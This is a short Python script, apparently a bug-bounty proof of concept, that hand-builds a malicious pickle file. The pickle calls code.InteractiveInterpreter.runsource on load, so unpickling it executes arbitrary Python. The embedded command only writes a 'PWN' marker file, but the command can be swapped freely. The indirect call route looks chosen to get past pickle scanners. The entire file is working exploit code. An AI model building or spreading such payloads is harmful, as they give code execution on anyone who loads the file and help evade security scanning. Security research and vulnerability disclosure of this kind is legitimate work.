gen_code_interactive.py

import pickletools

MARKER = "C:/Users/uozer/AppData/Local/Temp/opencode/codeii_PWN.txt"
OUT = r"D:\0projects\bountykimi\tmp\artifacts\code_interactive.pkl"

cmd = "open(r'%s','w').write('PWN')" % MARKER

def s(x): return b"\x8c" + bytes([len(x)]) + x.encode()

# stack: [func runsource] + [inst] + [cmd] + TUPLE2 + REDUCE
payload = (
    b"\x80\x04"
    + s("code") + s("InteractiveInterpreter.runsource") + b"\x93"   # function
    + s("code") + s("InteractiveInterpreter") + b"\x93"             # class
    + b")R"                                                      # inst = InteractiveInterpreter()
    + s(cmd)                                                        # cmd string
    + b"\x86"                                                       # TUPLE2 -> (inst, cmd)
    + b"R"                                                       # REDUCE -> runsource(inst, cmd)
    + b"."
)
open(OUT, "wb").write(payload)
for op, arg, pos in pickletools.genops(payload):
    print(op.name, repr(arg))